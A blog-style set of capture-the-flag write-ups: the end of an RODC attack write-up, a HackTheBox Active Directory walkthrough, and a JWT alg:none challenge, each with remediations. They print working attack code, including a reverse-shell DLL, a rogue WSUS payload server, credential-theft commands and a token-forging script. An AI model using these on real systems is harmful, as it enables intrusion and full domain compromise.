│   ├─ Modify Password Replication Policy (allow Administrator)
│   ├─ Force credential replication (repadmin)
│   └─ Extract krbtgt_8245 key (mimikatz)
│
├─ Ticket Forgery
│   ├─ Forge RODC Golden Ticket (Rubeus)
│   └─ Key List Attack → Administrator NTLM hash
│
└─ Full Domain Compromise
    └─ Pass-the-Hash → Administrator access (root flag)

8. Key Vulnerabilities

#	Vulnerability / Misconfiguration	Description	Impact
1	Credential exposure	Valid credentials for `j.arbuckle` were available	Initial domain access
2	SYSVOL write access	User had write permissions on `\\SYSVOL\scripts`	Logon script injection -> remote code execution
3	BloodHound-invisible attack path	NTFS permissions on SYSVOL aren't visible in BloodHound's AD-ACL model	Hidden privilege escalation path
4	Excessive AD delegation rights	`l.wilson` can reset the password of `l.wilson_adm`	Lateral movement
5	Privileged account misconfiguration	`l.wilson_adm` holds high privileges over RODC01	Privilege escalation
6	Writable AD object (RODC01)	`WRITE` access on the RODC01 computer object	Enables RBCD attack
7	Resource-Based Constrained Delegation exposure	Delegation settings modifiable by a low-privileged writable-object holder	Impersonation of Administrator
8	Dual-homed domain controller	DC exposed on an internal (`192.168.x.x`) network in addition to the public one	Pivoting opportunity into internal segment
9	Poor network segmentation	Internal network reachable once pivoted	Access to otherwise-restricted hosts (RODC01)
10	No egress filtering	Outbound connections (reverse shell, Chisel tunnel) allowed unrestricted	C2 and tunneling capability
11	RODC Administrators group mismanagement	Attacker-controlled account added to RODC Administrators	Elevated control over the RODC
12	Weak Password Replication Policy	RODC PRP could be modified to allow replication of the real Administrator	Credential exposure via a read-only DC
13	Forced credential replication	`repadmin` used to force-replicate Administrator's credentials to RODC	Credential dumping
14	Kerberos key exposure (`krbtgt_8245`)	RODC-specific KRBTGT key extracted via DCSync	Golden Ticket / Key List Attack
15	Lack of monitoring/detection	No apparent alerting on script abuse, delegation changes, or forced replication	Full domain compromise without detection

9. Remediations

Vulnerability	Recommendation
Credential exposure	Rotate and audit any credentials shared outside their intended scope; avoid reusing HTB-provided or onboarding credentials without a forced rotation
SYSVOL write access via GPO delegation	Audit "Manage Logon Scripts" and similar GPO delegations regularly; treat file-level SYSVOL write access as equivalent in risk to an AD object ACL grant
BloodHound-invisible SYSVOL paths	Supplement BloodHound collection with explicit SYSVOL/NTFS permission audits (e.g. `icacls`, dedicated SYSVOL ACL review tooling) as part of routine AD hygiene
Delegated password-reset rights (`l.wilson` -> `l.wilson_adm`)	Apply least-privilege delegation; avoid granting standard users password-reset rights over higher-privileged or administrative accounts
Writable RODC computer object	Restrict `WRITE` access on domain controller computer objects, including RODCs, to Domain/Enterprise Admins only
RBCD misuse via `ms-DS-MachineAccountQuota`	Set `ms-DS-MachineAccountQuota` to `0` for non-administrative users to prevent unauthorized machine account creation used in RBCD attacks
Dual-homed DC / internal network exposure	Avoid dual-homing domain controllers across trust boundaries; if required, enforce strict firewalling and monitoring on the internal-facing interface
No egress filtering	Implement egress filtering and network monitoring to detect reverse shells, unauthorized tunneling tools (Chisel, etc.), and unusual outbound connections
RODC Password Replication Policy weaknesses	Keep the RODC PRP restrictive by default; alert on any modification of `msDS-RevealOnDemandGroup` or `msDS-NeverRevealGroup`
Forced credential replication (`repadmin /rodcpwdrepl`)	Monitor and alert on RODC replication events targeting privileged accounts such as `Administrator`
RODC `krbtgt` key exposure	Treat RODC KDC keys with the same sensitivity as the domain `krbtgt` key; monitor for DCSync-style requests against RODC service accounts
Lack of monitoring/detection	Deploy detection for logon script modification, group membership changes to privileged groups, delegation attribute changes, and abnormal ticket requests (Golden Ticket / Key List Attack indicators)

HackTheBox : Logging Writeup

Yogeshwar Peela — Sun, 19 Jul 2026 08:24:37 +0000

Summary

Logging is a Windows Active Directory box built around a long, credential-chaining path from a leaked service account password to full domain compromise. Initial access starts with SMB access to a Logs share that leaks hardcoded credentials for svc_recovery, which turn out to be one increment off the real (rotated) password. That account can't authenticate over SMB/LDAP directly (STATUS_ACCOUNT_RESTRICTION), so Kerberos is used instead. BloodHound reveals GenericWrite over the gMSA msa_health$; since GenericWrite doesn't allow a direct password reset, a Shadow Credentials attack is used to pull its NT hash, and Pass-the-Hash grants a shell. From there, a writable share abused by a SYSTEM-run scheduled task (UpdateChecker Agent) allows DLL-planting via a ZIP-extraction flaw in UpdateMonitor.exe, giving a shell as jaylee.clifton and the user flag.

Privilege escalation to Administrator abuses a misconfigured ADCS template (UpdateSrv, with ENROLLEE_SUPPLIES_SUBJECT) to forge a certificate for wsus.logging.htb, a rogue machine account to gain DNS-write rights, and DNS poisoning to redirect the domain's WSUS client to an attacker-controlled HTTPS WSUS server (via a patched pywsus). The forced update sync executes a malicious package as SYSTEM, yielding full domain compromise and the root flag.

Key techniques: SMB share credential leak → password-rotation guessing → Kerberos-only service account → BloodHound GenericWrite abuse → Shadow Credentials → Pass-the-Hash → scheduled task ZIP-extraction DLL planting → ADCS ENROLLEE_SUPPLIES_SUBJECT template abuse → machine account DNS record abuse → WSUS HTTPS MITM → SYSTEM.

1. Reconnaissance

An nmap scan was run to identify open ports and services on the target.

nmap -sC -sV -A <MACHINE-IP>
Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-20 06:28 -0400
Nmap scan report for DC01.logging.htb (<MACHINE-IP>)
Host is up (0.31s latency).

PORT     STATE  SERVICE       VERSION
53/tcp   open   domain        Simple DNS Plus
80/tcp   open   http          Microsoft IIS httpd 10.0
| http-methods:
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: "IIS Windows Server"
88/tcp   open   kerberos-sec  Microsoft Windows Kerberos (server time: 2026-04-20 17:28:58Z)
135/tcp  open   msrpc         Microsoft Windows RPC
139/tcp  open   netbios-ssn   Microsoft Windows netbios-ssn
326/tcp  closed unknown
389/tcp  open   ldap          Microsoft Windows Active Directory LDAP (Domain: logging.htb, Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:DC01.logging.htb, DNS:logging.htb, DNS:logging
| Not valid before: 2026-04-17T03:20:01
|_Not valid after:  2106-04-17T03:20:01
|_ssl-date: 2026-04-20T17:29:55+00:00; +6h59m59s from scanner time.
445/tcp  open   microsoft-ds?
464/tcp  open   kpasswd5?
593/tcp  open   ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open   ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: logging.htb, Site: Default-First-Site-Name)
|_ssl-date: 2026-04-20T17:29:56+00:00; +6h59m59s from scanner time.
| ssl-cert: Subject:
| Subject Alternative Name: DNS:DC01.logging.htb, DNS:logging.htb, DNS:logging
| Not valid before: 2026-04-17T03:20:01
|_Not valid after:  2106-04-17T03:20:01
3269/tcp open   ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: logging.htb, Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:DC01.logging.htb, DNS:logging.htb, DNS:logging
| Not valid before: 2026-04-17T03:20:01
|_Not valid after:  2106-04-17T03:20:01
|_ssl-date: 2026-04-20T17:29:56+00:00; +6h59m59s from scanner time.
5985/tcp open   http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: "Not Found"
|_http-server-header: Microsoft-HTTPAPI/2.0
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time:
|   date: 2026-04-20T17:29:48
|_  start_date: N/A
|_clock-skew: mean: 6h59m58s, deviation: 0s, median: 6h59m58s
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled and required

Nmap done: 1 IP address (1 host up) scanned in 66.74 seconds

The scan revealed the domain names logging.htb and dc01.logging.htb, confirming this is a Windows Active Directory Domain Controller. HTB provided starting credentials for this box.

2. Enumeration

2.1 Credential Validation and Share Discovery

The provided credentials were checked for SMB authentication:

nxc smb <MACHINE-IP> -u 'Wallace.everette' -p 'Welcome2026@'
SMB   <MACHINE-IP>   445   DC01   [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:logging.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB   <MACHINE-IP>   445   DC01   [+] logging.htb\Wallace.everette:Welcome2026@

Authentication succeeded. Shares, groups, and users were then enumerated with the credentials:

nxc smb <MACHINE-IP> -u 'Wallace.everette' -p 'Welcome2026@' --shares
SMB   <MACHINE-IP>   445   DC01   [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:logging.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB   <MACHINE-IP>   445   DC01   [+] logging.htb\Wallace.everette:Welcome2026@
SMB   <MACHINE-IP>   445   DC01   [*] Enumerated shares
SMB   <MACHINE-IP>   445   DC01   Share           Permissions     Remark
SMB   <MACHINE-IP>   445   DC01   -----           -----------     ------
SMB   <MACHINE-IP>   445   DC01   ADMIN$                          Remote Admin
SMB   <MACHINE-IP>   445   DC01   C$                              Default share
SMB   <MACHINE-IP>   445   DC01   IPC$            READ            Remote IPC
SMB   <MACHINE-IP>   445   DC01   Logs            READ
SMB   <MACHINE-IP>   445   DC01   NETLOGON        READ            Logon server share
SMB   <MACHINE-IP>   445   DC01   SYSVOL          READ            Logon server share
SMB   <MACHINE-IP>   445   DC01   WSUSTemp                        A network share used by Local Publishing from a Remote WSUS Console Instance.

Most of these are default Windows shares — ADMIN$ and C$ require administrative privileges, while IPC$, NETLOGON, and SYSVOL are commonly accessible to authenticated users. Logs and WSUSTemp are non-standard and worth investigating.

2.2 Logs Share Analysis

smbclient //<MACHINE-IP>/Logs -U 'logging.htb\wallace.everette%Welcome2026@'
Try "help" to get a list of possible commands.
smb: \> recurse ON
smb: \> ls
  .                                   D        0  Thu Apr 16 19:10:09 2026
  ..                                  D        0  Thu Apr 16 19:10:09 2026
  Audit_Heartbeat.log                 A     1294  Thu Apr 16 19:10:09 2026
  IdentitySync_Trace_20260219.log     A     8488  Thu Apr 16 19:10:09 2026
  Service_State.log                   A      468  Thu Apr 16 19:10:09 2026
  TaskMonitor.log                     A     1170  Thu Apr 16 19:10:09 2026

smb: \> mget *

The log files were downloaded and analyzed locally. IdentitySync_Trace_20260219.log revealed hardcoded credentials used by the IdentitySync service:

BindUser: LOGGING\svc_recovery
BindPass: Em3rg3ncyPa$$2025

However, the same log also showed LDAP authentication failures (LDAP_INVALID_CREDENTIALS), indicating the password had since been rotated. Given the visible year-based pattern (2025), a simple increment was tried:

Em3rg3ncyPa$$2026

Testing the guessed credentials:

crackmapexec smb <MACHINE-IP> -u 'svc_recovery' -p 'Em3rg3ncyPa$$2026'
SMB   <MACHINE-IP>   445   DC01   [-] logging.htb\svc_recovery:Em3rg3ncyPa$$2026 STATUS_ACCOUNT_RESTRICTION

STATUS_ACCOUNT_RESTRICTION confirms the credentials are valid but the account is restricted from authenticating over SMB — likely due to logon-type restrictions common on service accounts. The earlier LDAP bind failures were a result of the same restriction, not invalid credentials.

To work around this, Kerberos authentication was used instead — requesting a TGT and authenticating via ticket-based auth:

impacket-getTGT logging.htb/svc_recovery:'Em3rg3ncyPa$$2026'
export KRB5CCNAME=svc_recovery.ccache
impacket-smbclient -k -no-pass logging.htb/svc_recovery@DC01.logging.htb

2.3 BloodHound Analysis

AD data was collected and analyzed with BloodHound:

bloodhound-python -d logging.htb -u 'svc_recovery' -p 'Em3rg3ncyPa$$2026' -ns <MACHINE-IP> -c All --zip

Ingesting the data revealed that svc_recovery holds GenericWrite over the account msa_health$. GenericWrite allows modification of certain object attributes, but does not by itself guarantee the ability to reset a password.

An attempt to reset msa_health$'s password using this permission was made:

bloodyAD --host DC01.logging.htb --dc-ip <MACHINE-IP> \
  -d logging.htb -u svc_recovery -k --secure \
  set password msa_health$ 'NewP@ssw0rd123!'

This failed with an LDAP modification error — confirming that GenericWrite alone does not grant permission to modify the unicodePwd attribute.

To work around this, a Shadow Credentials attack was performed instead, allowing authentication as msa_health$ by adding an alternative credential (a certificate-backed key) rather than resetting the password:

certipy shadow auto -u svc_recovery@logging.htb -k -dc-ip <MACHINE-IP> -target DC01.logging.htb -account 'msa_health'
Certipy v5.0.4 - by Oliver Lyak (ly4k)

[!] DC host (-dc-host) not specified and Kerberos authentication is used. This might fail
[*] Targeting user 'msa_health$'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID '5607c33eebe94d49b99c69c174758629'
[*] Adding Key Credential with device ID '5607c33eebe94d49b99c69c174758629' to the Key Credentials for 'msa_health$'
[*] Successfully added Key Credential with device ID '5607c33eebe94d49b99c69c174758629' to the Key Credentials for 'msa_health$'
[*] Authenticating as 'msa_health$' with the certificate
[*] Using principal: 'msa_health$@logging.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'msa_health.ccache'
[*] Trying to retrieve NT hash for 'msa_health$'
[*] Restoring the old Key Credentials for 'msa_health$'
[*] Successfully restored the old Key Credentials for 'msa_health$'
[*] NT hash for 'msa_health$': <REDACTED-NT-HASH>

With the NT hash for msa_health$, a Pass-the-Hash attack grants a shell:

evil-winrm -i DC01.logging.htb -u msa_health$ -H <REDACTED-NT-HASH>

*Evil-WinRM* PS C:\Users\msa_health$\Documents> whoami
logging\msa_health$
*Evil-WinRM* PS C:\Users\msa_health$\Documents> dir

    Directory: C:\Users\msa_health$\Documents

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        4/17/2026   9:02 AM           1059 monitor.ps1

monitor.ps1 was downloaded for analysis, revealing how a scheduled task ("UpdateChecker Agent") generates logs and interacts with a shared directory.

3. Scheduled Task Analysis and Local Privilege Escalation

3.1 Task Inspection

Direct access via schtasks was restricted, so the task was queried via the COM Schedule Service interface instead:

$service = New-Object -ComObject "Schedule.Service"
$service.Connect()
$task = $service.GetFolder("\").GetTask("UpdateChecker Agent")
$task | Format-List *

Key observations:

The task runs every 3 minutes.
It executes C:\Program Files\UpdateMonitor\UpdateMonitor.exe.
The task was created by logging\Administrator, meaning it runs with high privileges.

3.2 Writable Directory Discovery

monitor.ps1 revealed that the task writes files to C:\Share. This was confirmed with an ACL check:

icacls C:\Share
C:\Share logging\Domain Users:(OI)(CI)(RX)
         NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
         BUILTIN\Administrators:(I)(OI)(CI)(F)
         BUILTIN\Users:(I)(OI)(CI)(RX)
         BUILTIN\Users:(I)(CI)(AD)
         BUILTIN\Users:(I)(CI)(WD)
         CREATOR OWNER:(I)(OI)(CI)(IO)(F)

C:\Share grants BUILTIN\Users the (WD) (write data) permission — meaning any authenticated user can write files to this location.

3.3 Source Code Analysis

UpdateMonitor.exe was downloaded locally for analysis:

file UpdateMonitor.exe
UpdateMonitor.exe: PE32 executable for MS Windows 6.00 (console), Intel i386 Mono/.Net assembly, 3 sections

This is a .NET assembly. Although the host OS is x64, the binary itself is x86 — meaning any native DLL used against it must also be compiled as x86.

ilspycmd UpdateMonitor.exe > output.cs

Decompilation revealed the program:

Looks for C:\ProgramData\UpdateMonitor\Settings_Update.zip
Extracts it to C:\Program Files\UpdateMonitor\bin\
Loads settings_update.dll from the extracted contents and calls its PreUpdateCheck function

Key takeaway: The scheduled task runs as Administrator and blindly extracts a ZIP file from a user-writable directory without validating its contents. This means an attacker-supplied DLL, if named and packaged correctly, will be loaded and executed with elevated privileges.

Requirements for the exploit:

DLL filename must be exactly settings_update.dll
It must be zipped as Settings_Update.zip
The ZIP must be placed at C:\ProgramData\UpdateMonitor\

4. Exploitation — Local Privilege Escalation to jaylee.clifton

Step 1 — Generate a PowerShell reverse shell payload (e.g. via revshells.com, Windows / PowerShell #3 (Base64), pointing LHOST/LPORT at the attacking box).

Step 2 — Create the malicious DLL (settings_update.c):

#include <windows.h>
#include <stdlib.h>

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved){
    if (fdwReason == DLL_PROCESS_ATTACH){
        system("powershell -nop -w hidden -e <BASE64_PAYLOAD>");
    }
    return TRUE;
}

Step 3 — Compile as x86 (matching the target .NET binary's architecture):

i686-w64-mingw32-gcc settings_update.c -shared -o settings_update.dll

Step 4 — Package with the required filename:

zip Settings_Update.zip settings_update.dll

Step 5 — Start a listener and upload the ZIP via the msa_health$ Evil-WinRM shell into C:\ProgramData\UpdateMonitor:

upload /path/to/Settings_Update.zip

Within a few minutes, the scheduled task triggers and a callback is received:

penelope -p 4444 listen
[+] Listening for reverse shells on 0.0.0.0:4444
[+] [New Reverse Shell] => DC01 <MACHINE-IP> Microsoft_Windows_Server_2019_Standard-x64-based_PC 👤 logging\jaylee.clifton Session ID <1>
[+] Interacting with session [1]
PS C:\Users\jaylee.clifton\Desktop> dir C:\Users\jaylee.clifton\Desktop

    Directory: C:\Users\jaylee.clifton\Desktop

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-ar---        4/23/2026   2:03 PM             34 user.txt

User flag obtained.

type C:\Users\jaylee.clifton\Desktop\user.txt
HTB{REDACTED}

5. Privilege Escalation — WSUS HTTPS MITM

5.1 WSUS Configuration Discovery

Files retrieved earlier revealed the target is configured to use a staging WSUS server at wsus.logging.htb. A scheduled task named ForceSync, running every 120 seconds, forcibly resets Windows Update components and triggers immediate synchronization — this significantly narrows the attack window needed compared to waiting on the default update cycle, but also makes exploitation fast once set up.

5.2 ADCS Template Enumeration

Available certificate templates were enumerated with Certify:

.\Certify.exe cas /ca:DC01.logging.htb\logging-DC01-CA /domain=logging.htb /ldapserver:DC01.logging.htb /showAllPermissions

A custom template, UpdateSrv, stood out and was enumerated further:

.\Certify.exe find /template:UpdateSRV

Key findings:

Template Name: UpdateSrv
Schema Version: 2
msPKI-Certificate-Name-Flag: ENROLLEE_SUPPLIES_SUBJECT
Authorized Signatures Required: 0
EKU: Server Authentication
Enrollment Rights:
    logging\Domain Admins
    logging\Enterprise Admins
    logging\IT

Analysis:

ENROLLEE_SUPPLIES_SUBJECT is enabled — unlike standard templates bound to the AD object's own name, this lets the requester supply an arbitrary subject/hostname.
No manager approval required — certificates are issued immediately.
IT group enrollment rights — jaylee.clifton is a member of IT, and is therefore eligible to enroll.
Server Authentication EKU — valid for HTTPS/TLS, which is exactly what's needed to impersonate an internal HTTPS service.

Attack decision: target wsus.logging.htb specifically, since WSUS clients run update payloads as SYSTEM, apply updates automatically with no user interaction, and implicitly trust any certificate issued by the domain CA — meaning certificate trust here effectively equals server trust.

5.3 Rogue Machine Account

DNS records couldn't be modified directly with the current principal, so a computer account was created (abusing MachineAccountQuota) to act as an authenticated principal for later LDAP/DNS operations:

impacket-addcomputer \
  -computer-name 'attacker01$' \
  -computer-pass 'SuperP@ss!' \
  -hashes ':<REDACTED-NT-HASH>' \
  -dc-ip <MACHINE-IP> \
  'logging.htb/msa_health$'

[*] Successfully added machine account attacker01$ with password SuperP@ss!.

5.4 Certificate Request

Plaintext authentication as jaylee.clifton wasn't directly usable due to Kerberos enforcement, so a TGT was extracted from the existing shell session with Rubeus and converted for use with Impacket/Certipy:

.\Rubeus.exe tgtdeleg /nowrap

Action: Dump Kerberos Ticket Data (Current User)

  UserName    : jaylee.clifton
  Domain      : logging
  ...
    ServiceName : krbtgt/LOGGING.HTB
    Flags       : name_canonicalize, pre_authent, initial, renewable, forwardable
    KeyType     : aes256_cts_hmac_sha1
    Base64EncodedTicket:
      <BASE64_TICKET>

echo '<BASE64_TICKET>' | base64 -d > ticket.kirbi
impacket-ticketConverter ticket.kirbi jaylee.ccache

Note: clock skew with the DC needed to be corrected for Kerberos auth to succeed.

A certificate was requested using the UpdateSrv template, supplying wsus.logging.htb as the subject:

certipy req -u 'jaylee.clifton@logging.htb' -k -dc-ip <MACHINE-IP> \
  -ca 'logging-DC01-CA' -template 'UpdateSrv' \
  -upn 'wsus.logging.htb' -dns 'wsus.logging.htb' -target dc01.logging.htb

Certipy v5.0.4 - by Oliver Lyak (ly4k)
[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Got certificate with multiple identities
    UPN: 'wsus.logging.htb'
    DNS Host Name: 'wsus.logging.htb'
[*] Saving certificate and private key to 'wsus.logging.htb_wsus.pfx'

Because ENROLLEE_SUPPLIES_SUBJECT is enabled, the CA does not validate that the requester actually owns the wsus.logging.htb identity, allowing impersonation of an internal service.

The public certificate and private key were extracted for use with a rogue HTTPS server:

certipy cert -pfx wsus.logging.htb_wsus.pfx -nokey -out wsus.crt
certipy cert -pfx wsus.logging.htb_wsus.pfx -nocert -out wsus.key

5.5 DNS Manipulation

Using the rogue machine account, the DNS record for wsus was pointed at the attacker's IP:

bloodyAD -u 'attacker01$' -p 'SuperP@ss!' -d logging.htb --host <MACHINE-IP> \
  add dnsRecord wsus <ATTACKER-IP>

[+] wsus.logging.htb has been successfully added

Verified from the jaylee.clifton shell:

nslookup wsus
Server:  localhost
Address:  127.0.0.1

Name:    wsus.logging.htb
Address:  <ATTACKER-IP>

5.6 Malicious WSUS Server

With DNS redirected and a CA-signed certificate for wsus.logging.htb in hand, a rogue WSUS server was stood up using a patched version of pywsus with HTTPS support added (the upstream project only supports HTTP):

git clone https://github.com/GoSecure/pywsus
cd pywsus
git fetch origin pull/18/head:pr18
git checkout pr18
pip install -r requirements.txt

A payload was generated via revshells.com, a listener started, and the rogue WSUS server launched:

rlwrap nc -lnvp 4443

python3 pywsus_https.py -H wsus.logging.htb -p 8531 \
  -e PsExec64.exe \
  -c "powershell -nop -w hidden -e <BASE64_PAYLOAD>" \
  --cert wsus.crt --key wsus.key

When the ForceSync task next triggered the client's WSUS sync, the domain controller connected to the rogue server, trusted its certificate, and executed the payload as SYSTEM:

rlwrap nc -lvnp 4443
listening on [any] 4443 ...
connect to [<ATTACKER-IP>] from (UNKNOWN) [<MACHINE-IP>] 63262

PS C:\Windows\SoftwareDistribution\Download\Install> whoami
logging\administrator

5.7 Root Flag

PS C:\Users> Get-ChildItem C:\ -Recurse -Filter root.txt -ErrorAction SilentlyContinue | Select-Object FullName

FullName
--------
C:\Users\toby.brynleigh\Desktop\root.txt

PS C:\Users> type C:\Users\toby.brynleigh\Desktop\root.txt
HTB{REDACTED}

6. Attack Chain Summary

Logging Attack Chain
│
├─ Reconnaissance
│   ├─ Nmap → AD Domain Controller (DC01.logging.htb)
│   ├─ DNS discovery → logging.htb / dc01.logging.htb
│   └─ Identify services: LDAP, SMB, Kerberos, WSUS, HTTP
│
├─ Initial Access (SMB / Credential Leak)
│   ├─ Access Logs share via SMB
│   ├─ Extract IdentitySync credentials
│   └─ svc_recovery account discovered (password rotated, guessed via increment)
│
├─ Authentication Bypass
│   ├─ Account restricted from SMB/LDAP login (STATUS_ACCOUNT_RESTRICTION)
│   ├─ Kerberos TGT requested (Impacket getTGT)
│   └─ Ticket-based authentication achieved
│
├─ Domain Enumeration
│   ├─ BloodHound collection (svc_recovery)
│   ├─ Identify GenericWrite → msa_health$
│   └─ Attack path confirmed
│
├─ Credential Abuse / AD Privilege Escalation
│   ├─ Attempt password reset → failed (GenericWrite insufficient)
│   ├─ Shadow Credentials attack (Certipy)
│   └─ NT hash of msa_health$ obtained
│
├─ Lateral Movement
│   ├─ Pass-the-Hash via Evil-WinRM
│   ├─ Access to msa_health$ shell
│   └─ Discover scheduled task: UpdateChecker Agent
│
├─ Local Privilege Escalation
│   ├─ Task writes to shared, world-writable directory (C:\Share)
│   ├─ UpdateMonitor.exe analysis (.NET/x86 binary)
│   ├─ Unsanitized ZIP extraction vulnerability identified
│   └─ Malicious DLL execution → shell as jaylee.clifton (user flag)
│
├─ ADCS Abuse
│   ├─ UpdateSrv template abuse (ENROLLEE_SUPPLIES_SUBJECT)
│   ├─ Certificate forged for wsus.logging.htb
│   └─ Server-identity spoofing capability gained
│
├─ DNS / Infrastructure Manipulation
│   ├─ MachineAccountQuota abused (attacker01$)
│   ├─ DNS record modified → wsus.logging.htb → attacker IP
│   └─ Traffic redirected to attacker-controlled system
│
├─ WSUS Exploitation (Final Privilege Escalation)
│   ├─ Rogue WSUS server deployed (patched pywsus, HTTPS)
│   ├─ Forged TLS certificate used to establish trust
│   ├─ ForceSync task triggers near-immediate update sync
│   └─ SYSTEM-level payload execution
│
└─ Domain Compromise
    ├─ SYSTEM/Administrator access on DC01 achieved
    ├─ Full domain control obtained
    └─ root.txt retrieved

7. Key Vulnerabilities

Stage	Vulnerability / Weakness	Impact
Initial Access	Credential leakage in SMB `Logs` share	`svc_recovery` credentials exposed
Authentication Control	Weak/guessable service-account password rotation policy	Rotated password recovered via increment pattern
Authentication Control	Overly permissive service account logon restrictions	Forced (but still viable) Kerberos-only authentication
AD Misconfiguration	`GenericWrite` on `msa_health$`	Shadow Credentials attack possible
AD Security Design	Improper ACLs on service/gMSA accounts	NT hash extraction
Local Privilege Escalation	World-writable directory used by a SYSTEM-run scheduled task	SYSTEM-context code execution via DLL planting
Task Security	Unsanitized ZIP extraction in `UpdateMonitor.exe`	Arbitrary malicious payload execution
ADCS Configuration	`ENROLLEE_SUPPLIES_SUBJECT` enabled on `UpdateSrv` template	Certificate-based service impersonation
Certificate Trust Model	Weak validation of internal service certificates	WSUS server spoofing
DNS Security	`MachineAccountQuota` allows unprivileged DNS record modification	Traffic redirection / MITM
WSUS Trust Mechanism	Trusted update source without additional out-of-band verification	Remote SYSTEM code execution

8. Remediations

Vulnerability	Recommendation
Credentials stored in plaintext logs on an SMB share	Never log credentials, even for internal debugging; restrict `Logs` share to a dedicated service group and audit share ACLs regularly
Predictable password rotation pattern	Enforce truly random password rotation (e.g., managed via a vault/gMSA) rather than a human-guessable year-increment scheme
Service account restricted from SMB/LDAP but usable over Kerberos	Apply logon restrictions consistently across all protocols (`Deny logon locally`, `Deny logon through Remote Desktop`, and equivalent Kerberos-level restrictions), not just SMB/NTLM
Excessive `GenericWrite` grants on privileged/gMSA accounts	Apply least-privilege ACLs; audit BloodHound-style attack paths regularly and remove unnecessary write permissions on sensitive AD objects
Shadow Credentials feasible against gMSA	Monitor for `msDS-KeyCredentialLink` attribute changes; alert on unexpected Key Credential additions
World-writable directory consumed by a privileged scheduled task	Restrict write access on `C:\Share` (or any directory read by privileged automation) to only the accounts/services that need it; never let a SYSTEM/Administrator task trust files placed by standard users
Unsanitized ZIP extraction and DLL loading in `UpdateMonitor.exe`	Validate archive contents and enforce code signing before loading any DLL; run the update process with the least privilege required rather than as `Administrator`
`ENROLLEE_SUPPLIES_SUBJECT` on a broadly-enrollable certificate template	Remove `ENROLLEE_SUPPLIES_SUBJECT` unless strictly required; restrict enrollment rights to the minimum necessary security group and require manager approval for sensitive templates
`MachineAccountQuota` left at default (10)	Set `ms-DS-MachineAccountQuota` to `0` for non-administrative users unless machine joins are a required workflow
Unauthenticated/implicit trust of internal WSUS traffic	Enforce WSUS-over-HTTPS with certificate pinning or mutual TLS, and monitor DNS record changes for infrastructure hostnames like `wsus.<domain>`

FAM CTF : The Vault Door Writeup

Yogeshwar Peela — Sat, 18 Jul 2026 12:34:31 +0000

Summary

NexaVault is a mock internal dashboard app that gates an "Admin Vault" panel behind a role claim in a JWT. The app issues a user-role token on login, stored in the nx_access cookie, and trusts the claims inside it without properly re-verifying the signature on every request.

Recon

Logged in as a normal user (strawhat) and captured the request to /famctf/dashboard:

Cookie: nx_access=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJzdHJhd2hhdCIsInJvbGUiOiJ1c2VyIn0.x5PRC4_NFw5cGM02QklUN5yq6rtGOMP_E8bKGxgIbME

Decoding the JWT:

Header

{
  "alg": "HS256",
  "typ": "JWT"
}

Payload

{
  "sub": "strawhat",
  "role": "user"
}

The dashboard UI showed an "Admin Vault" card locked behind Admin only, confirming role was the authorization check.

Attempt 1 - Naive tampering (failed)

Editing the payload directly to "role":"admin" while keeping the original HS256 signature predictably failed - the signature no longer matched the modified payload, and the server redirected to the login page. This confirmed the server does verify the signature against the payload, but didn't yet confirm how strictly it verifies the algorithm itself.

Attempt 2 - `alg:none` bypass (success)

Many JWT libraries historically honor the alg field declared in the token header to decide how to verify, including a none algorithm meant for unsigned/pre-verified tokens. If the server-side verification doesn't explicitly reject none, an attacker can forge any payload with zero knowledge of the signing secret.

Forged header:

{ "alg": "none", "typ": "JWT" }

Forged payload:

{ "sub": "strawhat", "role": "admin" }

Forging Script

import base64, json

def b64url(data: bytes) -> str:
    return base64.urlsafe_b64encode(data).rstrip(b'=').decode()

header = {"alg": "none", "typ": "JWT"}
payload = {"sub": "strawhat", "role": "admin"}

h = b64url(json.dumps(header, separators=(',', ':')).encode())
p = b64url(json.dumps(payload, separators=(',', ':')).encode())

# alg:none tokens carry an empty signature segment (trailing dot, no bytes after it)
forged_token = f"{h}.{p}."
print(forged_token)

Output (used as the nx_access cookie value):

eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJzdHJhd2hhdCIsInJvbGUiOiJhZG1pbiJ9.

The script was also parameterized to emit None and NONE casing variants, since some JWT libraries do case-sensitive matching on alg and only reject the lowercase none:

for alg_variant in ("none", "None", "NONE"):
    header = {"alg": alg_variant, "typ": "JWT"}
    h = b64url(json.dumps(header, separators=(',', ':')).encode())
    print(f"{alg_variant}: {h}.{p}.")

The lowercase none variant was the one accepted by the server.

Swapped the forged token in as the nx_access cookie value and reloaded /famctf/admin.

Result

With the forged cookie set, the dashboard itself reflected the privilege escalation - the "Admin Vault" card, previously locked with an Admin only badge, was now accessible, and a new ADMIN section appeared in the sidebar (Vault) alongside an ADMIN badge next to the username in the navbar. The Access Level card confirmed: ADMIN.

Navigating to /famctf/admin returned:

Identity verified - elevated access granted for strawhat

FAM{jwt_4lg_n0n3_byp4ss_gr4nt3d}

Root Cause

Server-side JWT verification trusted the alg field from the attacker-controlled header instead of enforcing a fixed expected algorithm (e.g. always verify with HS256 and the server's own secret, regardless of what the token claims). This is the classic JWT algorithm confusion / alg:none vulnerability (CWE-347).

